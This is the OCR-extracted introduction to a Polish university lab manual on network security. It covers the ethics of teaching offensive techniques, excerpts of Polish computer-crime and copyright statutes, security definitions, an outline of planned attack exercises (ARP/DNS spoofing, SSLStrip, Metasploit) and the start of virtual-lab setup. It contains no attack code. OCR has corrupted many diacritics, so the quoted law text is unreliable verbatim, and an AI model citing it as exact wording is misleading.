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WPROWADZENIE DO ZAGADNIEN BEZPIECZENSTWA INFORMACII

Aspekty prawne i etyczne

Osoba chcaca nauczy¢ sig, a tym bardziej osoby pragnace nauczac,
zagadnien zwiazanych z bezpieczenstwem informacji staja przed znanym od lat
problemem: znajomos¢ metod obrony z konieczno$ci obejmowaé musi takze
wiedzg¢ o technikach ofensywnych, a te moga by¢ uzyte do celéw nieetycznych
i niezgodnych z prawem. Ross Anderson' pisze:

,nNiektdérzy uwazaja, ze zawarte] tu
wiedzy nie powinno sie publikowac¢. To
stara dyskusja; w minionych stuleciach
protestowano przeciwko wydawaniu
ksiazek o $lusarstwie, argumentujac,
ze pomagaja one bardzie]j ,tym zilym”
niz ,tym dobrym”. Mys$le, ze odpowiedZ
na te obawy znajduje sie w pilerwsze]
wydane] po angielsku ksiagzce
dotyczacej kryptologii. Byl to traktat
[..] napisany w 1641 roku przez biskupa
Johna Wilkinsa [..]. Jego zdaniem $lady
dziejdéw cenzury prowadzity do kaptandw
egipskich, ktérzy zabronili stosowania
pisma alfabetycznego, gdyz miatoby ono
wpiyna¢ na rozpowszechnienie
umiejetnosci czytania i1 pisania wsrdéd
prostego ludu, co statoby sie zaczynem
niezgody. Pisat on:

' Zob. [Anderson 2005] str. XXIX i nast.



Nie wynika stad, ze wszystko
czego naduzywad mozna zduszonem
by¢ powinno.. jesliby wszelakie owe
pozyteczne wynalazki, ktorych
naduzywac by mozna, miaty ukrytemi
zostac¢, nie ostataby sie zadna
Sztuka czy Madrosc¢, ktdore w prawie
uprawiac¢ by wolno

Te sama kwestie zndéw podniesiono w XIX
wieku, gdy pewni przepelnieni dobrymi
intencjami ludzie zadali zakazania
ksigzek o Slusarstwie”.

Niestety, w polskim Kodeksie Karnym, w artykule 269b, penalizuje sig
szereg czynéw, bez ktérych powazne nauczanie bezpieczefstwa informacji’,
szczegOlnie w jej aspekcie technicznym jest niemozliwe. Literalna wyktadnia
jezykowa ustawowego znamienia czynu zabronionego prowadzi zreszta do
jeszcze dalej idacych paradokséw, bo przeciez na przyktad dowolny wspéiczesny
system operacyjny ma wbudowane narzgdzia, ktére moga by¢ uzyte do
uzyskiwania informacji nieprzeznaczonej dla korzystajacego z nich. Artykut ten
jest oczywiscie przedmiotem powszechnej krytyki zaréwno ze strony prawnikow,
jak informatykéw i pozostaje przepisem martwym, to jest niestosowanym
w praktyce sadowej, niemniej dobrze oddaje wtasnie punkt widzenia owych
»pewnych przepelnionych dobrymi intencjami ludzi”, ktéry to punkt widzenia
przyjmuje — i to od kilku kadencji — polski ustawodawca. Réwniez w innych swoich
przepisach polskie prawo karne komputerowe jest stosunkowo restrykcyjne:

Fragmenty ustawy z dnia 6 czerwca 1997 r.
Kodeks karny z pézn. zm. (stan na dzien 01.02.2010)

Art. 267.

§ 1. Kto bez uprawnienia uzyskuje
dostep do informacji dla niego
nieprzeznaczonej, otwierajac zamkniete

2 Zob. [Korzeniowski 2008] str. 124 i nast.



pismo, poditaczajac sie do sieci
telekomunikacyjnej lub przelamujac
albo omijajac elektroniczne,
magnetyczne, informatyczne lub inne
szczegdlne Je] zabezpieczenie, podlega
grzywnie, karze ograniczenia wolnosci
albo pozbawienia wolnos$ci do lat 2.

§ 2. Tej same] karze podlega, kto bez
uprawnienia uzyskuje dostep do catosci
lub czes$ci systemu informatycznego.

§ 3. Tej same] karze podlega, kto

w celu uzyskania informacji, do ktdre]
nie jest uprawniony, zaktada lub
postuguje sie urzadzeniem
podstuchowym, wizualnym albo innym
urzadzeniem lub oprogramowaniem.

§ 4. Tej same] karze podlega, kto
informacije uzyskang w sposdéb okresSlony
w § 1-3 ujawnia inne]j osobie.

§ 5. Sciganie przestepstwa okreélonego
w § 1--4 nastepuje na wniosek
pokrzywdzonego.

Art. 268.

§ 1. Kto, nie bedac do tego
uprawnionym, niszczy, uszkadza, usuwa
lub zmienia zapis istotnej informaciji
albo w inny sposdéb udaremnia lub
znacznie utrudnia osobie uprawnione’
zapoznanie sie z nia, podlega
grzywnie, karze ograniczenia wolnosci
albo pozbawienia wolnos$ci do lat 2.



§ 2. Jezeli czyn okres$lony w § 1
dotyczy zapisu na informatycznym
nosniku danych, sprawca podlega karze
pozbawienia wolnosSci do lat 3.

§ 3. Kto, dopuszczajac sie czynu
okreslonego w § 1 lub 2, wyrzadza
znaczna szkode majatkowa, podlega
karze pozbawienia wolnosci od 3
miesiecy do lat 5.

§ 4. Sciganie przestepstwa okredlonego
w § 1-3 nastepuje na wniosek
pokrzywdzonego.

Art. 268a.

§ 1. Kto, nie bedac do tego
uprawnionym, niszczy, uszkadza, usuwa,
zmienia lub utrudnia dostep do danych
informatycznych albo w istotnym
stopniu zaktdéca lub uniemozliwia
automatyczne przetwarzanie,
gromadzenie lub przekazywanie takich
danych, podlega karze pozbawienia
wolnosci do lat 3.

§ 2. Kto, dopuszczajac sie czynu
okreslonego w § 1, wyrzadza znaczna
szkode majatkowa, podlega karze
pozbawienia wolnosci od 3 miesiecy do
lat 5.

§ 3. Sciganie przestepstwa okres$lonego
w § 1 lub 2 nastepuje na wniosek
pokrzywdzonego.



Art. 269.

§ 1. Kto niszczy, uszkadza, usuwa lub
zmienia dane informatyczne o
szczegdlnym znaczeniu dla obronnos$ci
kraju, bezpieczenstwa w komunikaciji,
funkcjonowania administracji rzadowe],
innego organu panstwowego lub
instytucji panstwowe] albo samorzadu
terytorialnego albo zakidca lub
uniemozliwia automatyczne
przetwarzanie, gromadzenie lub
przekazywanie takich danych, podlega
karze pozbawienia wolnosci od 6
miesiecy do lat 8.

§ 2. Tej same] karze podlega, kto
dopuszcza sie czynu okres$lonego w § 1,
niszczac albo wymieniajac
informatyczny nosnik danych lub
niszczac albo uszkadzajac urzadzenie
stuzgce do automatycznego
przetwarzania, gromadzenia lub
przekazywania danych informatycznych.

Art. 269 a.

Kto, nie bedac do tego uprawnionym,
przez transmisje, zniszczenie,
usuniecie, uszkodzenie, utrudnienie
dostepu lub zmiane danych
informatycznych, w istotnym stopniu
zaktdca prace systemu komputerowego
lub sieci teleinformatycznej, podlega
karze pozbawienia wolnosci od 3
miesiecy do lat 5.
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Art. 269 b.

§ 1. Kto wytwarza, pozyskuje, zbywa
lub udostepnia innym osobom urzadzenia
lub programy komputerowe przystosowane
do popeinienia przestepstwa
okres$lonego w art. 165 § 1 pkt 4,

art. 267 § 3, art. 268a § 1 albo § 2

w zwiazku z § 1, art. 269 § 2 albo
art. 269a, a takze hasta komputerowe,
kody dostepu lub inne dane
umozliwiajace dostep do informaciji
przechowywanych w systemie
komputerowym lub sieci
teleinformatyczne]j, podlega karze
pozbawienia wolnosSci do lat 3.

§ 2. W razie skazania za przestepstwo
okreslone w § 1, sad orzeka przepadek
okreslonych w nim przedmiotdw, a moze
orzec ich przepadek, Jjezeli nie
stanowity wtasnosci sprawcy.

[...]
Art. 278.

§ 1. Kto zabiera w celu
przywliaszczenia cudza rzecz ruchoma,
podlega karze pozbawienia wolnosci od
3 miesiecy do lat 5.

§ 2. Tej samej karze podlega, kto bez
zgody osoby uprawnione] uzyskuje cudzy
program komputerowy w celu osiggniecia
korzyéci majatkowe].

§ 3. W wypadku mniejsze]j wagi, sprawca
podlega grzywnie, karze ograniczenia

11



wolnosci albo pozbawienia wolnos$ci do
roku.

§ 4. Jezeli kradziez popeiniono na
szkode osoby najblizZzszej, Sciganie
nastepuje na wniosek pokrzywdzonego.
§ 5. Przepisy § 1, 3 i1 4 stosuje sie
odpowiednio do kradziezy energii 1lub
karty uprawniajacej do podjecia
pieniedzy z automatu bankowego.

Art. 291.

§ 1. Kto rzecz uzyskana za pomocgag
czynu zabronionego nabywa lub pomaga
do Jje]j zbycia albo te rzecz przyjmuije
lub pomaga do jej ukrycia, podlega
karze pozbawienia wolnosci od 3
miesiecy do lat 5.

§ 2. W wypadku mniejszej wagl, sprawca
podlega grzywnie, karze ograniczenia
wolnosci albo pozbawienia wolnos$ci do
roku.

Art. 292.

§ 1. Kto rzecz, o ktdérej na podstawie
towarzyszacych okoliczno$ci powinien

i moze przypuszczaé, ze zostata uzyskana
za pomoca czynu zabronionego, nabywa
lub pomaga do jej zbycia albo te rzecz
przyjmuje lub pomaga do je]j ukrycia,
podlega grzywnie, karze ograniczenia
wolnosci albo pozbawienia wolnos$Sci do
lat 2.

§ 2. W wypadku znacznej wartosci
rzeczy, O ktdérej mowa w § 1, sprawca

12



podlega karze pozbawienia wolnoéci od
3 miesiecy do lat 5.

Art. 293.

§ 1. Przepisy art. 291 i 292 stosuje
sie odpowiednio do programu
komputerowego.

Fragmenty z ustawy z dnia 4 lutego 1994 r. o prawie
autorskim i prawach pokrewnych z pozniejszymi
zmianami (stan na 01.02.2010)

Art. 116.

1. Kto bez uprawnienia albo wbrew jego
warunkom rozpowszechnia cudzy utwdr w
wersji oryginalnej albo w postaci
opracowania, artystyczne wykonanie,
fonogram, wideogram lub nadanie,
podlega grzywnie, karze ograniczenia
wolnosci albo pozbawienia wolnos$ci do
lat 2.

2. Jezell sprawca dopuszcza Sie czynu
okreslonego w ust. 1 w celu
osiagniecia korzys$ci majatkowed,
podlega karze pozbawienia wolnoéci do
lat 3.

3. Jezeli sprawca uczynit sobie

z popeiniania przestepstwa okreslonego
w ust. 1 state Zrddio dochodu albo
dziatalnos¢ przestepna, okreslong

w ust. 1, organizuje lub nia kieruje,
podlega karze pozbawienia wolnosSci od
6 miesiecy do lat 5.

13



4. Jezeli sprawca czynu okre$lonego

w ust. 1 dziata nieumys$lnie, podlega
grzywnie, karze ograniczenia wolnosci
albo pozbawienia wolnos$ci do roku.

Art. 117.

1. Kto bez uprawnienia albo wbrew jego
warunkom w celu rozpowszechnienia
utrwala lub zwielokrotnia cudzy utwdr
w wersjli oryginalnej lub w postaci
opracowania, artystyczne wykonanie,
fonogram, wideogram lub nadanie,
podlega grzywnie, karze ograniczenia
wolnosci albo pozbawienia wolnosSci

do lat 2.

2. Jezell sprawca uczynit sobie z
popeiniania przestepstwa okres$lonego
w ust. 1 state Zrddio dochodu albo
dziatalno$¢ przestepna, okreslona

w ust. 1, organizuje lub nig kieruje,
podlega karze pozbawienia wolnoéci do
lat 3.

Art. 118.

1. Kto w celu osiagniecia korzyéci
majatkowej przedmiot bedacy nosnikiem
utworu, artystycznego wykonania,
fonogramu, wideogramu
rozpowszechnianego lub
zwielokrotnionego bez uprawnienia albo
wbrew jego warunkom nabywa lub pomaga
w Jjego zbyciu albo przedmiot ten
przyjmuje lub pomaga w Jjego ukryciu,

14



podlega karze pozbawienia wolnoéci

od 3 miesiecy do lat 5.

2. Jezelil sprawca uczynit sobie

z popeiniania przestepstwa okresSlonego
w ust. 1 state Zrdédio dochodu albo
dziatalnos¢ przestepna, okreslong

w ust. 1, organizuje lub nia kieruje,
podlega karze pozbawienia wolnosSci

od roku do lat 5.

3. Jezeli na podstawie towarzyszacych
okoliczno$ci sprawca przestepstwa
okreslonego w ust. 1 lub 2 powinien

i moze przypuszczacé, ze przedmiot
zostatl uzyskany za pomocg czynu
zabronionego, podlega grzywnie, karze
ograniczenia wolnosci albo pozbawienia
wolnosci do lat 2.

Art. 118(1).

1. Kto wytwarza urzadzenia lub ich
komponenty przeznaczone do
niedozwolonego usuwania lub
obchodzenia skutecznych technicznych
zabezpieczen przed odtwarzaniem,
przegrywaniem lub zwielokrotnianiem
utwordw lub przedmiotdw praw
pokrewnych albo dokonuje obrotu takimi
urzadzeniami lub ich komponentami,
albo reklamuje je w celu sprzedazy lub
najmu, podlega grzywnie, karze
ograniczenia wolnosci albo pozbawienia
wolnosci do lat 3.
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2. Kto posiada, przechowuje 1lub
wykorzystuje urzadzenia lub ich
komponenty, o ktérych mowa w ust. 1,
podlega grzywnie, karze ograniczenia
wolnosci albo pozbawienia wolnoéci
do roku.

Wobec powyzszego czujemy si¢ w obowiazku przestrzec Czytelnika, ze
nawet jeSli w praktyce ¢wiczenie technik ataku w sieci laboratoryjnej, za
swiadoma zgoda jej wlasciciela i pozostatych jej uzytkownikéw, w celach czysto
dydaktycznych jest tolerowane, to rzeczywiste dzialania majace na celu
naruszenie bezpieczefstwa informacji sa w Swietle polskiego — i1 nie tylko
polskiego — prawa przestgpstwami niewatpliwie podlegajacymi §ciganiu, dlatego
tez opisywane dalej techniki mogace stuzy¢ naruszeniu bezpieczenstwa moze On
stosowa¢ jedynie w wydzielonych sieciach laboratoryjnych, za zgoda ich
wiasciciela i innych os6b z nich korzystajacych.

Osobna kwestia jest postrzeganie, przynajmniej niektérych przestgpstw
komputerowych’, jako swojego rodzaju rozrywki intelektualnej badz
dopuszczalnego sposobu zamanifestowania swoich pogladéw politycznych®.
Przyjecie takiego punktu widzenia przez osobg zajmujaca si¢ bezpieczenstwem
jest oczywiscie zaréwno niewlasciwe, jak i niebezpieczne. Niniejsze ,,Cwiczenia”
przeznaczone sa dla oséb, ktére pragna w przysziosci zosta¢ administratorami
sieci czy specjalistami zajmujacymi si¢ przetwarzaniem danych. Osoby takie
musza zna¢ techniki wlaman, zeby mdc przed nimi zabezpieczy¢ systemy,
za ktére beda odpowiadaé. Zaréwno niniejszy skrypt, jak i sam przedmiot
,Bezpieczenstwo SystemOw Sieciowych” zostal opracowany z mysla o tych,
ktérzy chca dba¢ o bezpieczenstwo innych uzytkownikéw systemow sieciowych,
nie za$ dla tych, ktdrzy chcieliby to bezpieczenstwo naruszac.

Podstawowe definicje

Jednym z problemdéw, z jakimi spotykaja si¢ osoby zajmujace si¢
bezpieczenstwem informacji sa daleko idace niespdjnosci terminologiczne.
Bezpieczenstwem informacji zajmuja si¢ specjaliSci z zakresu zarzadzania,
informatycy i prawnicy, nic wigc dziwnego, ze jedno poje¢cie ma nieraz kilka
réznych znaczen. W ,,Cwiczeniach” oparli§my si¢ przede wszystkim na jezyku

? Mowa przede wszystkim o wlamaniach do systeméw komputerowych.
* Mowa o zjawisku okreslanym jako ,,Hacktivism” — wykorzystanie Hackingu
w aktywnosci politycznej. Zob. np. PN-ISO/IEC 27005:2010.
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Polskich Norm, w szczeg6lnosci norm z serii PN-ISO/IEC 27k, PN-I-
02000:2002 oraz PN-ISO/IEC 2382-x, do zapoznania si¢ z ktérymi serdecznie
Czytelnika zachgcamy. W szczeg6lnosci warto poprawnie postugiwac sig
nazwami najwazniejszych atrybutéw bezpieczenstwa informacji:

e poufno$é¢ (ang. confidentiality) — wlasno$¢ polegajaca na tym, ze
informacja nie jest udostgpniana lub wyjawiana nieupowaznionym
osobom, przedmiotom lub procesom5 ,

* integralno$¢ (ang. integrity) — wilasno$¢ polegajaca na zapewnieniu
doktadnosci 1 kompletnosci aktywow”,

o dostepnos¢ (ang. availability) — wasciwos¢ danych lub zasobéw polegajaca
na tym, ze moga one by¢ dostgpne i wykorzystywane na zadanie
uprawnionej jednostki’,

¢ autentyczno$¢ (ang. authenticity) — cecha pozwalajacej na uwierzytelnienie
autora informacji, czyli stwierdzenia, ze podpis pod przesylang informacja
jest autentyczny, ze autorem informacji jest rzeczywiscie whasciwa osoba®,

e rozliczalno$é (ang. accountability) — wlasciwos¢ zapewniajaca, ze dziatania
podmiotu moga by¢ przypisane w sposob jednoznaczny tylko temu
podmiotowig,

* niezaprzeczalno$¢ — wtasciwos$¢ uniemozliwiajaca nadawcy zaprzeczenie,
ze wystana wiadomos$¢ pochodzi od niego,

¢ niezawodno$¢ (ang. reliability) — wlasciwo$¢ oznaczajaca spojne,
zamierzone zachowania i skutki'’.

Powyzsza lista atrybutéw bezpieczenstwa nie jest uniwersalna ani kompletna

i jest pisana z punktu widzenia managera (intereséw organizacji gospodarczej).
Nie ma na niej na przyktad atrybutu prywatnosci, istotnego z punktu widzenia
osoby fizycznej, ale juz niekoniecznie — komercyjnej firmy.

e prywatno$¢ (ang. privacy z lac. privus — pojedynczy, wilasny) definiuje
si¢ zazwyczaj jako mozliwo$¢ zachowania okreslonych débr (danych,
zachowan, zwyczajéw, rzeczy) poza sfera publiczna.

> Wg [PN-ISO/IEC 27001:2007].

® Wg [PN-ISO/IEC 27001:2007]. Rozréznia si¢ dodatkowo integralno$é danych oraz
integralno$¢ systemu.

7 Wg [PN-ISO/IEC 2382-8:2001].

¥ Wg [PN-1-13335-1], s. 6. W niekt6rych zrédtach mozna znalezé thumaczenie stowa
»authentiation” przez ,uwierzytelnienie”, jakkolwiek ttumaczenie przyjgte w normie jest
poprawne — slowo ,,uwierzytelnienie” w jezyku polskim jest nazwa procesu sprawdzenia
i potwierdzenia autentycznosci informacji. Tak jest to zreszta definiowane w normie
[PN-1-02000:2002].

® Wg [PN-1-13335-1] za [ISO 7498-2:1989].

' Wg [PN-1-13335-1].
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Pojeciami czgsto taczonymi z prywatnoscia, szczegdlnie jesli idzie o systemy
i sieci informatyczne sa: anonimowo$¢é, anonimizacja oraz pseudonimizacja''.

e anonimowo$¢ jest to atrybut bezpieczenstwa informacji polegajacy na
tym, ze nie ma mozliwosci identyfikacji podmiotu (w szczeg6lnosci osoby,
ktéra wykonuje jakas czynno$¢, na przyktad przeglada strong WWW czy
osoby, ktdrej dotycza informacje, np. zebrane w czasie badania).

Anonimowos¢ w odniesieniu do dziatan jest wigc przeciwienstwem powolanego
powyzej pojecia rozliczalno$ci — wlasciwoscia zapewniajaca, ze dziatania
podmiotu nie moga by¢ przypisane w sposéb jednoznaczny temu podmiotowi.
Jest to dobry przyktad na subiektywizm pojgcia bezpieczenstwa informacji. Na
przyktad osoba wyglaszajaca poglady niepopularne, a szczegdllnie sprzeczne
z pogladami decydentéw, bedzie czuta si¢ bezpieczniej, jesli ma zapewniona
anonimowo$¢ (i wiazaca si¢ z tym perspektywe bezkarnosci), za§ pokrzywdzony
bedzie czut si¢ bezpieczniej, jesli organy Scigania beda w stanie zidentyfikowac
tozsamo$¢ dziatajacego (sprawcy) i przypisa¢ mu — najlepiej w spos6b nie-
zaprzeczalny — poszczegdlne przestepne dziatania, czyli zapewni¢ ich rozliczalnos¢.

Warto tez zauwazyc¢, ze — w przeciwienstwie do prywatnosci — cztowiek nie
ma prawa do anonimowosci (przynajmniej obecnie obowiazujace przepisy wprost
nie przyznaja nikomu takiego prawa). Prywatno$¢ bowiem moze by¢ zachowana
nie tylko w sytuacji, gdy dziatajacy podmiot jest anonimowy, ale réwniez w sytuacji,
w ktérej dane umozliwiajace jego identyfikacj¢ sa poufne na tyle, Ze pozostaja
poza sfera publiczng (tak jak ma to miejsce chocby w przypadku nagran z kamer
monitoringu ulicznego).

* Anonimizacja jest to proces, w ktérym z danych umozliwiajacych
identyfikacje podmiotéw otrzymuje si¢ dane nieumozliwiajace takiej
identyfikacji.

Anonimizacje stosuje si¢ na przyktad cze¢sto w badaniach statystycznych,

w ktérych istotne sa prawidtowosci dotyczace catej badanej grupy, a nie informacje
o poszczeg6lnych jednostkach. Anonimizacja nazywa si¢ rowniez wykorzystanie
odpowiednich rozwiazan informatycznych (np. anonimowego Proxy czy sieci TOR).

e Pseudonimizacja (z gr. pseudonymos — falszywie nazwany; pseudes —
ktamliwy, zmyslony; pseiidein — ktamaé, oszukiwaé) nazywa si¢'* uzycie
W miejsce rzeczywistej nazwy podmiotu (procesu badz osoby) — przybranej
nazwy (pseudonimu).

Pseudonimizacja utrudnia identyfikacj¢ dziatajacego podmiotu, natomiast
umozliwia przypisanie réznych danych czy czynnosci tej samej osobie (bez
znajomosci jej tozsamosci). Wspoétczesnie z pseudonimizacjg bardzo czgsto mamy
do czynienia w przypadku foréw internetowych czy grup dyskusyjnych.

' Z0b. np. [Clarke], [Pfitzmann, Hansen 2005].
12.70b. [Pfitzmann, Hansen 2005].
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Ofensywne dzialania zwiazane z naruszaniem bezpieczenstwa to:

* incydent zwigzany z bezpieczenstwem informacji, to jest pojedyncze
zdarzenie lub seria niepozadanych lub niespodziewanych zdarzen
zwiazanych z bezpieczenstwem informacji, ktére stwarzaja znaczne
prawdopodobienstwo zaktécenia dziatan biznesowych 1 zagrazaja
bezpieczenstwu informacji'’;

e zdarzenie zwigzane z bezpieczenstwem informacji, ktoére jest okreslonym
stanem systemu, ustugi lub sieci, ktéry wskazuje na mozliwe naruszenie
polityki bezpieczenstwa informacji, btad zabezpieczenia lub nieznana
dotychczas sytuacje, ktéra moze by¢ zwiazana z bezpieczenstwem'?;

e atak — préba naruszenia bezpieczenstwa systemu informatycznego';

® naruszenie — ingerencja naruszajaca bezpieczenstwo systemu informa-
tycznego w celu spowodowania tego, aby programy lub dane mogty by¢
modyfikowane, niszczone lub mogly sta¢ si¢ dostgpne dla nieuprawnionych
podmiotéwm;

e wlamanie, przelamanie — takie obejscie lub zneutralizowanie jakiego$
elementu bezpieczenstwa systemu informatycznego, wykryte lub nie,
ktérego skutkiem moze by¢ penetracja systemu przetwarzania danych'’.

Odpowiednio ataki przeciwko najwazniejszym atrybutom bezpieczenstwa to:
¢ podstuch (sniffing), ktéry jest atakiem skierowanym przeciwko poufnosci;
¢ nieuprawniona modyfikacja, ktéra jest atakiem skierowanym przeciwko

integralnosci;

® podszywanie si¢ (spoofing), ktére jest atakiem skierowanym przeciwko
autentycznosci;

e ataki odmowy ustug (Denial of Service), ktére sa skierowane przeciwko
dostepnosci.

B PN-ISO/IEC 17799:2007, ISO/IEC TR 18044:2004
4 PN-ISO/IEC 17799:2007, ISO/IEC TR 18044:2004
15 PN ISO/IEC 2382-8:2001, PN-1-02000:2002

16 PN-1-02000:2002

17 PN-1-02000:2002
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Podobnie jak w przypadku kazdego podrgcznika, zakres omawianej tematyki
jest mniej lub bardziej subiektywnym wyborem autoréw. ,,Cwiczenia” w zadnym
wypadku nie pretenduja do miana kompletnego przegladu — chocby tylko
najwazniejszych — zagrozen czy technik i narzedzi walki z nimi. Byloby to zreszta
zadanie w ramach jednej ksiazki niewykonalne. Zgodnie z tytulem chcieliSmy
zaproponowa¢ Czytelnikowi do zrealizowania (w ramach zaje¢ na studiach lub
samodzielnie) kilka zadan z réznych tematéw zwiazanych z bezpieczenstwem
przesytania informacji w sieciach komputerowych dotyczacych podatnosci, zagrozen
i atakéw stosunkowo rozpowszechnionych i uniwersalnych (mato zaleznych od
uzywanego systemu operacyjnego czy oprogramowania oraz mozliwych do
przeprowadzenia na typowym komputerze ze $wiezo zainstalowanym systemem
operacyjnym. Mamy nadziej¢, ze Czytelnik uzna je za interesujace i zechce blizej
zainteresowac si¢ ta problematyka.

Z zatozenia niniejszy skrypt zawiera instrukcje laboratoryjne poprzedzone
jedynie bardzo krétkimi opisami ¢wiczen, nie zawiera natomiast catej koniecznej
— niejednokrotnie obszernej — wiedzy o mechanizmach dziatania sieci, ktdre
w danym ¢wiczeniu sg wykorzystywane. Stad tez konieczne jest, aby Czytelnik
zapoznal si¢ z nimi samodzielnie przed przystapieniem do wykonania
poszczegdlnych zadan. Na poczatku kazdego z rozdzialéw podaliSmy odpowiednia
literaturg, w ktérej mozna znalez¢ niezbgdne informacje dla zrozumienia danego
zadania. Podczas pisania ,,Cwiczen” korzystaliémy z szeregu publikacji, przede
wszystkim z ksiazek [Szmit, Gusta, Tomaszewski 2005] oraz [Szmit, Tomaszewski,
Lisiak, Politowska 2008], staraliSmy si¢ zachowaé spdjno$¢ ze stosowanym
w nich nazewnictwem i oznaczeniami.

Wszystkie ¢wiczenia zostaly przygotowane w Srodowisku maszyn wirtualnych,
co powoduje, ze kazde ¢wiczenie moze by¢ przeprowadzone na pojedynczym
komputerze, w cato$ci przez jedna osobg. Postawienie si¢ w roli zaréwno agresora,
jak 1 osoby odpowiedzialnej za wybdr i konfiguracje metod zabezpieczajacych
pozwala w szerszym zakresie zrozumie¢ specyfikg zagrozeh obecnych we
wspoltczesnych sieciach i systemach komputerowych.

Cwiczenia prowadzone sa w sieci o fizycznej topologii gwiazdy, wszystkie
komputery moga bezposrednio komunikowaé si¢ migdzy soba. Schemat sieci
¢wiczeniowej przedstawia rys. 1.
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Rys. 1. Topologia sieci testowej. Zrédto: opracowanie whasne.

Cwiczenia podzielone sa na dwie grupy. Poczatkowe éwiczenia (rozdziaty 2
— 5) prowadzone sa z perspektywy crackera chcacego skompromitowac atakowane
maszyny. Przedstawione sa aktywne ataki na wybrane protokoty komunikacyjne
oraz zaprezentowana jest mozliwo$¢ wykorzystania luk obecnych w nieaktualni-
zowanym lub Zle zaprojektowanym oprogramowaniu. W kolejnych ¢wiczeniach
(rozdzialy 7-10) zaprezentowane zostaly metody prewencyjne zabezpieczajace
przed wyciekiem lub utrata danych oraz umozliwiajace monitorowanie atakow.
Pomigdzy tymi dwiema gléwnymi grupami ¢wiczen przedstawione zostato
narzedzie TOR — program umozliwiajacy zapewnienie anonimowos$ci w Internecie.
Cwiczenie to nie zostato wiaczone ani do grupy éwiczen ofensywnych, ani do
¢wiczen defensywnych, poniewaz charakter zastosowania programu zalezy $cisle
od tego, w jakich okoliczno$ciach zostal uzyty. Niezaleznie od tego, w jakiej roli
zaprezentowano uzywane narzgdzia nalezy pamigtac, ze sa one tylko narzedziami
i jedynie od ich uzytkownika zalezy czy uzyte zostana zgodnie z obowigzujacym
prawem i zasadami etyki.

Rozdzial 1 ,,Przygotowanie srodowiska pracy” przeprowadza krok po kroku
przez proces tworzenia $rodowiska laboratoryjnego: instalacje oprogramowania
wirtualizacyjnego, tworzenie maszyn wirtualnych oraz konfiguracj¢ interfejsow
sieciowych.
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Rozdziat 2 ,,ARP-spoofing” poswigcony jest podstuchowi w sieci zbudowane;j
z uzyciem przetacznikéw sieciowych przy wykorzystaniu mechanizmu fatszowania
odpowiedzi ARP.

Rozdzial 3 ,,DNS-spoofing” zawiera instrukcj¢ dotyczaca ataku, w ktérym
fatszowane sa odpowiedzi serwera nazw domenowych.

Rozdziatl 4 ,,Ataki na sesje szyfrowane SSL” dotyczy ataku typu Man-in-the-
Middle na protokét HTTPS z wykorzystaniem narze¢dzia SSLStrip oraz prezentuje
atak typu przechwycenie sesji przy pomocy oprogramowania Firesheep.

Rozdziat 5 ,,Testy penetracyjne” poswigcony jest przedstawieniu specyfiki
testOw penetracyjnych z uzyciem narz¢dzi nmap, Nessus, Metasploit Framework
i Armitage.

Rozdziatl 6 ,,TOR — Anonimowo$¢ w Internecie” poswiecony jest aplikacji
TOR pozwalajacej na ukrywanie adresu IP uzytkownika.

Rozdziat 7 ,,Wirtualne sieci prywatne” przedstawia sposoby zestawiania
tunelowanych prywatnych polaczen w systemach z rodziny Windows oraz Linux.

Rozdzial 8 ,,Honeypot” prezentuje mozliwosci technologii honeypot na
przyktadzie aplikacji Honeyd.

Rozdzial 9 ,Infrastruktura klucza publicznego” po$wigcony jest przedsta-
wieniu specyfiki zagadnienia przy wykorzystaniu mozliwosci aplikacji OpenSSL.

Rozdziat 10 ,,Kopie zapasowe” poswigcony jest metodom tworzenia kopii
zapasowych przy uzyciu darmowych narzedzi, takich jak DD oraz AIR.

Do pracy dotaczono ptytg DVD zawierajaca materialty dodatkowe do
¢wiczen 2—10 oraz obrazy dyskéw dla wirtualnych maszyn z systemami Debian,
Ubuntu, BackTrack, Metasploitable i TurnKey.

Z powodéw licencyjnych nie byto mozliwe dotaczenie do pracy no$nikéw
z maszynami wirtualnymi pracujacymi pod kontrola systeméw z rodziny MS
Windows, ale w rozdziale po§wigconym ich przygotowaniu opisano szczegdtowo
jak takie maszyny nalezy wykonac.
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Konwencje typograficzne

W tredci instrukcji zastosowane zostaly rézne style formatowania dla
poszczegdlnych rodzajéw danych:

1. komendy wpisywane w konsoli tekstowe]j pisane sa biala czcionka na
czarnym tle, np.:

DS aux | grep arp

2. zawarto$¢ plikéw tekstowych (np. pliki konfiguracyjne) wyrdzniona
zostata czcionka monotype, przyktadowo:
route entry 172.16.1.20

3. przyciski lub opcje, ktére nalezy kliknaé / wybra¢ zaznaczone sa
czcionka pogrubiona, np:

Wybierz opcj¢ Protokél internetowy TCP/IP, a nastgpnie kliknij przycisk
Wiasciwosci.

4. nazwy programow, Sciezki do plikéw i programéw oraz tytuly okien
pisane sa czcionka kursywa:

Uruchom program Metasploit Framework.

5. uzyta jest skroétowa notacja dla Sciezek dostgpu. Zamiast polecenia
,kliknij menu Start, nastgpnie kliknij Uruchom i wpisz cmd” napisane
jest skrétowo:

Start -> Uruchom -> cmd

6. katalog roboczy, w ktérym znajduja si¢ wszystkie skopiowane z
dotaczonej ptyty DVD materialy, oznaczony jest w tresci ¢wiczen jako
<work_dir>, np:

<work_dir>/Przygotowanie srodowiska/VM/Debian.zip

7. odnosniki do zasobéw internetowych sa podkreslone:

www.google.pl
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1. PRZYGOTOWANIE SRODOWISKA PRACY

Opracowat: Stawomir Adamus, Sebastian Bugata
Cel ¢wiczenia: przygotowanie wirtualnego Srodowiska pracy
Potrzebne narzedzia: wszystkie materiaty z dotaczonej ptyty DVD

Wszystkie prezentowane w niniejszej instrukcji ¢wiczenia wykonywane sa
w petni wirtualnym $rodowisku. Cwiczenia prowadzone sa w sieci o topologii
gwiazdy — schemat sieci ¢wiczeniowej przedstawiony jest na rys. 1.1. Z fizyczna
infrastruktura sieci laboratoryjnej potaczona jest bezposrednio maszyna z systemem
Debian — pelni ona rolg bramki sieciowej (ang. router), na ktérej przeprowadzana
jest translacja adresow (ang. NAT, Network Address Translation — translacja
adresow sieciowych). Adres IP (ang. Internet Protocol — protokét internetowy)
zewngtrznego interfejsu sieciowego jest pobierany z serwera DHCP (ang.
Dynamic Host Configuration Protocol — protokét dynamicznej konfiguracji
hosta) znajdujacego si¢ w sieci fizycznej. Drugi interfejs sieciowy maszyny
z systemem Debian podlaczony jest do wirtualnej sieci lokalnej. W sieci tej
adresy IP przydzielane sa statycznie z puli 172.16.1.0 / 24. Wszystkie wirtualne
maszyny korzystaja z serwera nazw domenowych OpenDNS dostgpnego pod
adresem 208.67.222.222.

DHCP Q », DHCP
Debian Linux 5.0 Turnkey LAMP

